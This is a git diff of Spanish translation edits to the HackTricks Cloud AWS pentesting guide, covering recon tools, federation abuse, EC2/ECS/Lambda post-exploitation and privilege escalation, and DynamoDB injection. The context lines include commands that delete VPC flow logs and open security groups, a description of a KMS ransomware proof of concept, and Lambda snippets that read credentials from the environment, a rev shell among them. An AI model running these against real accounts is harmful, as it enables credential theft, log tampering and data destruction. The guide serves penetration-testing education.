verificarlos**. Sobre cómo encontrar **vulnerabilidades en servicios de red expuestos**, le recomendaría **buscar** el **servicio** específico en: {{#ref}} -https://book.hacktricks.xyz/ +https://book.hacktricks.wiki/ {{#endref}} ## Comprometiendo la Organización @@ -161,9 +161,9 @@ Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita: - **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador. - Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts` - No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**. -- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se haga pasar por ella, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`). +- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`). -## Herramientas Automatizadas +## Herramientas Automáticas ### Recon @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes IAM Users y Roles en una cuenta como un grafo dirigido, lo que permite verificar **privilege escalation** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permissions utilizados para encontrar privesc** caminos en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar **escaladas de privilegios** y caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\ -Mostrará los clientes **sobre privilegiados** potencialmente, las políticas en línea y de aws **y qué principales tienen acceso a ellas**. (No solo verifica privesc, sino también otros tipos de permisos interesantes, se recomienda su uso). +Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica privesc, sino también otros tipos de permisos interesantes, se recomienda su uso). ```bash # Install pip install cloudsplaining @@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output / # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación para forenses. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense. ```bash # Install python3, jq and git # Install @@ -335,7 +335,7 @@ scout aws -p dev ### Auditoría Constante - [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura en la nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reporte de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot se evalúan contra estas políticas para medir la conformidad con las políticas. El marco **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reporte de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot se evalúan contra estas políticas para medir la conformidad con las políticas. El marco **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a las violaciones de políticas tomando acciones predefinidas. - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes. ## DEBUG: Capturar solicitudes de AWS cli diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index fa02080a3..fc7d6d8c1 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -7,10 +7,10 @@ Para obtener información sobre SAML, consulta: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/saml-attacks +https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html {{#endref}} -Para configurar una **Federación de Identidad a través de SAML**, solo necesitas proporcionar un **nombre** y el **XML de metadatos** que contenga toda la configuración de SAML (**puntos finales**, **certificado** con clave pública) +Para configurar una **Federación de Identidad a través de SAML**, solo necesitas proporcionar un **nombre** y el **XML de metadatos** que contenga toda la configuración de SAML (**puntos finales**, **certificado** con clave pública). ## OIDC - Abuso de Github Actions @@ -18,7 +18,7 @@ Para agregar una acción de github como proveedor de identidad: 1. Para _Tipo de proveedor_, selecciona **OpenID Connect**. 2. Para _URL del proveedor_, ingresa `https://token.actions.githubusercontent.com` -3. Haz clic en _Obtener huella digital_ para obtener la huella digital del proveedor +3. Haz clic en _Obtener huella digital_ para obtener la huella digital del proveedor. 4. Para _Audiencia_, ingresa `sts.amazonaws.com` 5. Crea un **nuevo rol** con los **permisos** que necesita la acción de github y una **política de confianza** que confíe en el proveedor como: - ```json @@ -108,7 +108,7 @@ Es posible generar **OIDC providers** en un **EKS** cluster simplemente configur ] } ``` -Esta política indica correctamente que **solo** el **clúster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` puede asumir el rol. Sin embargo, no indica qué cuenta de servicio puede asumirlo, lo que significa que **CUALQUIER cuenta de servicio con un token de identidad web** podrá **asumir** el rol. +Esta política está indicando correctamente que **solo** el **clúster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` puede asumir el rol. Sin embargo, no está indicando qué cuenta de servicio puede asumirlo, lo que significa que **CUALQUIER cuenta de servicio con un token de identidad web** va a **poder asumir** el rol. Para especificar **qué cuenta de servicio debería poder asumir el rol,** es necesario especificar una **condición** donde se **especifica el nombre de la cuenta de servicio**, como: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index d426b9dc0..9958c3182 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -56,9 +56,9 @@ Si encuentras un **volumen sin una instantánea** podrías: **Crear una instant aws-ebs-snapshot-dump.md {{#endref}} -### Exfiltración de Datos +### Exfiltración de datos -#### Exfiltración por DNS +#### Exfiltración DNS Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**. @@ -72,20 +72,20 @@ Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfilt Un atacante podría llamar a los puntos finales de la API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los registros de Cloudtrail. -### Grupo de Seguridad Abierto +### Grupo de seguridad abierto Podrías obtener acceso adicional a los servicios de red abriendo puertos así: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc a ECS +### Privesc to ECS Es posible ejecutar una instancia de EC2 y registrarla para ser utilizada para ejecutar instancias de ECS y luego robar los datos de las instancias de ECS. Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### Eliminar registros de flujo de VPC +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -104,7 +104,7 @@ Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Obtén las credenciales temporales de Bastion EC2 AWS con el script de [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) +3. Obtén las credenciales temporales de Bastion EC2 AWS con el script de [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]` 5. Inicia sesión en EKS como el Bastion EC2: ```shell @@ -121,9 +121,9 @@ kubectl get pods --insecure-skip-tls-verify ``` Tenga en cuenta que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM. -Finalmente, esta técnica no es específica para atacar clústeres EKS privados. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada. +Finalmente, esta técnica no es específica para atacar clústeres privados de EKS. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada. -### Compartir AMI +### Share AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` @@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service debido a lo fácil que es usarlo para cifrar varios servicios de AWS. -Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption' +Primero, desde una cuenta de AWS 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -239,7 +239,7 @@ La regla de la política de clave necesita que se habiliten lo siguiente para pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Ahora con la clave accesible públicamente para usar. Podemos utilizar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS no cifrados adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio. +Ahora, con la clave accesible públicamente para usar. Podemos utilizar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) @@ -249,7 +249,7 @@ Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales no cifrados ya no están. +También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no están. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) @@ -324,7 +324,7 @@ A continuación, regrese a la política de clave en la cuenta del 'atacante' y e ] } ``` -Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen. +Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los nuevos volúmenes EBS cifrados. Verás que puedes adjuntar el volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) @@ -332,7 +332,7 @@ Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simp ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. +Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index 32710f5f2..87d00a2b4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \ Después de descargar las imágenes, debes **verificarlas en busca de información sensible**: {{#ref}} -https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index a1e9ce043..878487a8b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -4,7 +4,7 @@ ## ECS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,11 +12,11 @@ Para más información, consulta: ### Roles IAM de Host -En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá un **rol IAM** diferente adjunto.\ -Lo que significa que si logras **comprometer** una instancia ECS, potencialmente puedes **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta: +En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá **otro rol IAM** adjunto.\ +Lo que significa que si logras **comprometer** una instancia ECS, puedes potencialmente **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales consulta: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] @@ -28,12 +28,12 @@ Además, EC2 utiliza docker para ejecutar tareas de ECS, así que si puedes esca #### Haciendo que los contenedores se ejecuten en el host actual -Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, luego ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante**, para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor. +Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia de contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, luego ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** serán **ejecutadas en una instancia diferente,** potencialmente dentro de la **instancia del atacante** para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -La misma técnica se puede realizar **dando de baja la instancia EC2 del clúster**. Esto es potencialmente menos sigiloso, pero **forzará a que las tareas se ejecuten en otras instancias:** +La misma técnica se puede realizar **deregistrando la instancia EC2 del clúster**. Esto es potencialmente menos sigiloso, pero **forzará a que las tareas se ejecuten en otras instancias:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index b680001e2..e1adc2cf9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -14,7 +14,7 @@ Más información sobre lambda en: Los usuarios con los permisos **`iam:PassRole`, `lambda:CreateFunction` y `lambda:InvokeFunction`** pueden escalar sus privilegios.\ Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede luego **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\ -Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas indirectamente a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\ +Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de manera indirecta a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\ Un atacante podría abusar de esto para obtener un **rev shell y robar el token**: ```python:rev.py @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -También es posible filtrar las credenciales del rol de la lambda sin necesidad de una conexión externa. Esto sería útil para **Lambdas aisladas de la red** utilizadas en tareas internas. Si hay grupos de seguridad desconocidos filtrando tus shells inversos, este fragmento de código te permitirá filtrar directamente las credenciales como la salida de la lambda. +También es posible filtrar las credenciales del rol de la lambda sin necesidad de una conexión externa. Esto sería útil para **Lambdas aisladas de la red** utilizadas en tareas internas. Si hay grupos de seguridad desconocidos filtrando tus shells reversos, este fragmento de código te permitirá filtrar directamente las credenciales como la salida de la lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -79,7 +79,7 @@ cat output.txt ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Al igual que en el escenario anterior, puede **otorgarse a sí mismo el permiso `lambda:InvokeFunction`** si tiene el permiso **`lambda:AddPermission`** +Al igual que en el escenario anterior, puede **otorgarse el permiso `lambda:InvokeFunction`** si tiene el permiso **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ @@ -89,7 +89,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Los usuarios con permisos de **`iam:PassRole`, `lambda:CreateFunction` y `lambda:CreateEventSourceMapping`** (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden **escalar privilegios** de manera indirecta incluso sin `lambda:InvokeFunction`.\ +Los usuarios con permisos de **`iam:PassRole`, `lambda:CreateFunction` y `lambda:CreateEventSourceMapping`** (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden **escalar privilegios** indirectamente incluso sin `lambda:InvokeFunction`.\ Pueden crear una **función Lambda con código malicioso y asignarle un rol IAM existente**. En lugar de invocar directamente la Lambda, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda a través de un mapeo de fuente de eventos. Esta configuración asegura que la función Lambda se **active automáticamente al ingresar un nuevo elemento** en la tabla, ya sea por la acción del usuario o por otro proceso, invocando indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado. @@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Si DynamoDB ya está activo en el entorno de AWS, el usuario solo **necesita establecer el mapeo de la fuente de eventos** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con la transmisión habilitada: +Si DynamoDB ya está activo en el entorno de AWS, el usuario solo **necesita establecer el mapeo de la fuente de eventos** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con streaming habilitado: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -170,7 +170,7 @@ aws --profile none-priv lambda update-function-configuration --function-name [!NOTE] -> De hecho, las acciones de **Query** necesitan especificar la **condición "EQ" (igual)** en la clave **primaria** para funcionar, lo que las hace mucho **menos propensas a inyecciones NoSQL** (y también limita mucho la operación). +> De hecho, las acciones de **Query** necesitan especificar la **condición "EQ" (igual)** en la **clave primaria** para funcionar, lo que las hace mucho **menos propensas a inyecciones NoSQL** (y también limita mucho la operación). Si puedes **cambiar la comparación** realizada o agregar nuevas, podrías recuperar más datos. ```bash @@ -105,7 +105,7 @@ Si puedes **cambiar la comparación** realizada o agregar nuevas, podrías recup "GT": " " #All strings are greater than a space ``` {{#ref}} -https://book.hacktricks.xyz/pentesting-web/nosql-injection +https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html {{#endref}} ### Inyección de Json en bruto @@ -152,9 +152,9 @@ Algunos SDK permiten usar una cadena que indica el filtrado que se debe realizar ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -Necesitas saber que al buscar en DynamoDB para **sustituir** un **valor** de atributo en **expresiones de filtro** mientras se escanean los elementos, los tokens deben **comenzar** con el carácter **`:`**. Tales tokens serán **reemplazados** con el **valor de atributo real en tiempo de ejecución**. +Es importante saber que al buscar en DynamoDB para **sustituir** un **valor** de atributo en **expresiones de filtro** mientras se escanean los elementos, los tokens deben **comenzar** con el carácter **`:`**. Tales tokens serán **reemplazados** con el **valor de atributo real en tiempo de ejecución**. -Por lo tanto, un inicio de sesión como el anterior puede ser eludido con algo como: +Por lo tanto, un inicio de sesión como el anterior se puede eludir con algo como: ```bash :username = :username or :username # This will generate the query: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 99c0e10f8..6603270a5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -1,8 +1,8 @@ -# AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum +# AWS - EC2, EBS, ELB, SSM, VPC y VPN Enum {{#include ../../../../banners/hacktricks-training.md}} -## VPC & Networking +## VPC y Redes Aprende qué es una VPC y sobre sus componentes en: @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 se utiliza para iniciar **servidores virtuales**. Permite la configuración de **seguridad** y **redes** y la gestión de **almacenamiento**. La flexibilidad de Amazon EC2 es evidente en su capacidad para escalar recursos tanto hacia arriba como hacia abajo, adaptándose efectivamente a los cambios en los requisitos o aumentos en la popularidad. Esta característica disminuye la necesidad de predicciones precisas de tráfico. +Amazon EC2 se utiliza para iniciar **servidores virtuales**. Permite la configuración de **seguridad** y **redes** y la gestión de **almacenamiento**. La flexibilidad de Amazon EC2 es evidente en su capacidad para escalar recursos tanto hacia arriba como hacia abajo, adaptándose efectivamente a los cambios en los requisitos o picos de popularidad. Esta característica disminuye la necesidad de predicciones de tráfico precisas. Cosas interesantes para enumerar en EC2: @@ -26,21 +26,21 @@ Cosas interesantes para enumerar en EC2: - Puertos abiertos - Conexiones integradas con otras redes fuera de AWS -### Instance Profiles +### Perfiles de Instancia -Usar **roles** para otorgar permisos a aplicaciones que se ejecutan en **instancias EC2** requiere un poco de configuración adicional. Una aplicación que se ejecuta en una instancia EC2 está abstraída de AWS por el sistema operativo virtualizado. Debido a esta separación adicional, necesitas un paso adicional para asignar un rol de AWS y sus permisos asociados a una instancia EC2 y hacerlos disponibles para sus aplicaciones. +Usar **roles** para otorgar permisos a aplicaciones que se ejecutan en **instancias de EC2** requiere un poco de configuración adicional. Una aplicación que se ejecuta en una instancia de EC2 está abstraída de AWS por el sistema operativo virtualizado. Debido a esta separación adicional, necesitas un paso adicional para asignar un rol de AWS y sus permisos asociados a una instancia de EC2 y hacerlos disponibles para sus aplicaciones. -Este paso adicional es la **creación de un** [_**perfil de instancia**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) adjunto a la instancia. El **perfil de instancia contiene el rol y** puede proporcionar las credenciales temporales del rol a una aplicación que se ejecuta en la instancia. Esas credenciales temporales pueden ser utilizadas en las llamadas API de la aplicación para acceder a recursos y limitar el acceso solo a aquellos recursos que el rol especifica. Ten en cuenta que **solo se puede asignar un rol a una instancia EC2** a la vez, y todas las aplicaciones en la instancia comparten el mismo rol y permisos. +Este 